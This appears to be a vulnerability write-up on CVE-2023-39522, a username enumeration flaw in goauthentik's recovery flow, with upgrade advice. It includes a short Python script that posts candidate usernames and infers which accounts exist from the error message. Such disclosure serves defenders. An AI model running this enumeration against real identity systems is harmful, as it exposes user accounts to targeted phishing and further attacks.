CVE-2023-39522: Security Vulnerability in goauthentik's Recovery Flow Allows Username Enumeration

goauthentik is a widely-used open-source Identity Provider that offers a comprehensive solution for securing user authentication. However, a recent security vulnerability (CVE-2023-39522) was identified in the recovery flow with an identification stage of goauthentik. This vulnerability allows an attacker to determine whether a particular username exists in the system, potentially compromising user privacy. This long read aims to provide a detailed analysis of this issue, including code snippets, links to original references, and exploit details. If your setup uses goauthentik and a recovery flow, your system might be affected by this security issue.

Details of Vulnerability

In affected versions of goauthentik, if a recovery flow is configured with an identification stage, an attacker can easily enumerate and check users' existence using the recovery flow. A clear message is shown when a user doesn't exist, allowing the attacker to distinguish between existing and non-existing usernames or emails. Depending on the configuration, this can be done by username, email, or both.

The primary concern of this vulnerability is that it exposes the existence of user accounts in a system configured with the recovery flow described above. This could potentially lead to targeted phishing attacks and other types of cyber-attacks towards the identified users.

Exploit Details

An attacker would simply need to make repeated attempts using the recovery flow to enumerate usernames or emails through the messages returned. A sample code snippet that demonstrates how an attacker might exploit this issue is provided below:

import requests

goauthentik_base_url = "https://yourgoauthentikinstance.com";
recovery_flow_url = f"{goauthentik_base_url}/recovery_flow"

for user_attempt in potential_usernames_list:
    data = {"identifier": user_attempt}
    response = requests.post(recovery_flow_url, data)

    if "User does not exist" in response.text:
        print(f"User {user_attempt} does not exist")
    else:
        print(f"User {user_attempt} exists")

Mitigation and Recommendations

To address this security vulnerability, it is strongly advised that users upgrade their goauthentik installations to versions 2023.5.6 or 2023.6.2, which have already patched the issue. The official links to these updated versions can be found here:
- goauthentik version 2023.5.6
- goauthentik version 2023.6.2

There are no known workarounds for this issue. Users are strongly encouraged to upgrade to the patched versions immediately to protect their setups from potential attacks. Additionally, it is a good practice to continuously monitor your goauthentik installation for any unusual activities or intrusion attempts.

Conclusion

In conclusion, CVE-2023-39522 is a security vulnerability that allows an attacker to enumerate usernames or emails through the recovery flow of affected goauthentik versions. Upgrading to the latest patched versions (2023.5.6 or 2023.6.2) is the recommended solution to mitigate the risk associated with this issue. Users should always keep their goauthentik installations up to date and monitor their systems for potential threats.

Timeline

Published on: 08/29/2023 18:15:00 UTC
Last modified on: 09/01/2023 14:19:00 UTC